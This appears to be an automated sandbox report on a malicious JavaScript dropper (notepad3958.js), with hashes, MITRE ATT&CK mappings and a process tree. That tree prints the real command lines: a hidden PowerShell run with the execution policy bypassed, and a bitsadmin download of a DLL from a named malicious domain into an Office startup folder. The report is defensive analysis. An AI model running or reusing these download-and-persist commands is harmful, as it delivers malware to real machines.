dc9b2d9b657585c8dd28efaec75415442499f40fee5f0b8bb3e05b759c54541c

Analysis

max time kernel
39s
max time network
43s
platform
windows7_x64
resource
win7-20230703-en
resource tags

arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
submitted
08/07/2023, 08:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
notepad3958.js
Size 48KB
Sample230708-kdkkjadb34
SHA256 dc9b2d9b657585c8dd28efaec75415442499f40fee5f0b8bb3e05b759c54541c
MD5 cdc354cb4dae5f5ff413bc2686904e5a
SHA1 3c258853c700c2556c93ad48469ea9da4be3af7d
SHA512 9d83631222be3f70b0a3c369a53cb0a2460d2bdf7ef0dfa74612b9cb7704fee8b410f5edc2a2371d72b5cd34e71cd159f0c24f822885fe1265f59072acce461a
SSDEEP 1536:B7CfrHWQYZBtw3eT8UZpXVg1huZ+r/HQySb8p7ZD:B7KrXStw3CXN+rswp7ZD
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://virvatulishop.eu/costa.zip
exe.dropper
https://virvatulishop.eu/files/

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2236	bitsadmin.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2072	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2072	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 2072	3044	wscript.exe	28
PID 3044 wrote to memory of 2072	3044	wscript.exe	28
PID 3044 wrote to memory of 2072	3044	wscript.exe	28
PID 2072 wrote to memory of 2236	2072	powershell.exe	30
PID 2072 wrote to memory of 2236	2072	powershell.exe	30
PID 2072 wrote to memory of 2236	2072	powershell.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\notepad3958.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hidden -File C:\Users\Admin\AppData\Local\Temp\5o61ewo.ps1
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2072
- - C:\Windows\system32\bitsadmin.exe
    "C:\Windows\system32\bitsadmin.exe" /transfer MeDoW /download /priority normal https://virvatulishop.eu/files/AudioCapture.dll C:\Users\Admin\AppData\RoamingOfficeStartupAudioCapture.dll
    3⤵
    - Download via BitsAdmin
    PID:2236

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5o61ewo.ps1

Path C:\Users\Admin\AppData\Local\Temp\5o61ewo.ps1
Size 1KB
SHA256 0027b80f6ef6841c826493aabc0a6dc3074dc8db05e3786b82bcff81f65ad2df
MD5 ba8a99bff80e5706b87a1a96b5593a19
SHA1 1b02752f23f5c8dd849747714c90551749698469
SHA512 ccad32635cb88048a462b26bdfe45404887bce2a33f3c30523731985989bbb391db6bb390e1f86f50b3a806036da82c6b3c157f7f1e8ba7e713719c7d61fffa9
MD5 SHA1 SHA512

Submit Download

memory/2072-60-0x0000000002940000-0x00000000029C0000-memory.dmp

Download

memory/2072-61-0x000000001B280000-0x000000001B562000-memory.dmp

Download

memory/2072-63-0x0000000002940000-0x00000000029C0000-memory.dmp

Download

memory/2072-62-0x0000000001E60000-0x0000000001E68000-memory.dmp

Download

memory/2072-65-0x0000000002940000-0x00000000029C0000-memory.dmp

Download

memory/2072-66-0x0000000002940000-0x00000000029C0000-memory.dmp

Download

memory/2072-67-0x0000000002940000-0x00000000029C0000-memory.dmp

Download

memory/2072-68-0x0000000002940000-0x00000000029C0000-memory.dmp

Download

memory/2072-69-0x0000000002940000-0x00000000029C0000-memory.dmp

Download